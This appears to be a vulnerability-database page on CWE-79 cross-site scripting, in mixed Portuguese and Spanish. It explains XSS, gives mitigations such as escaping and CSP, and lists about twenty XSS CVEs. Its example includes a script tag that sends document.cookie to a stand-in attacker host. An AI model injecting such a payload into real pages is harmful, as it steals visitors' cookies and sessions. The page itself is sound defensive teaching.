Fallos del tipo CWE-79

29.765 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-75738MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-54880MEDIUMMermaid does not properly sanitize architecture diagram iconText leading to XSSEPSS 0.4%CVE-2026-47953MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-47755MEDIUMWordPress WooCommerce Product Carousel Slider Plugin <= 3.3.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-51850MEDIUMWordPress WoW Guild Armory Roster plugin <= 0.5.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-51829MEDIUMWordPress Mobile Kiosk plugin <= 1.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-39306HIGHWordPress Avada Builder plugin <= 3.11.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-2130MEDIUMOpenXE Ticket Bearbeiten Page cross site scriptingEPSS 0.4%CVE-2025-1082MEDIUMMindskip xzs-mysql 学之思开源考试系统 Exam Edit edit cross site scriptingEPSS 0.4%CVE-2024-51831MEDIUMWordPress Persian Nested Show/Hide Text plugin <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-51847MEDIUMWordPress WP PagSeguro Payments plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-47977MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51842MEDIUMWordPress Image Carousel Shortcode plugin <= 1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-51855MEDIUMWordPress Redirecter plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-51844MEDIUMWordPress Location Click Map plugin <= 1.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-54935MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was found in /send_message_teacher_to_student.php of kashipara E-learning Management SysteEPSS 0.4%CVE-2026-75740MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47950MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51795MEDIUMWordPress Pdf Embedder Fay plugin <= 1.10.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-93296HIGHMISP Overmind: Stored Cross-Site Scripting via Unescaped Object Names in Statistics LegendsEPSS 0.4%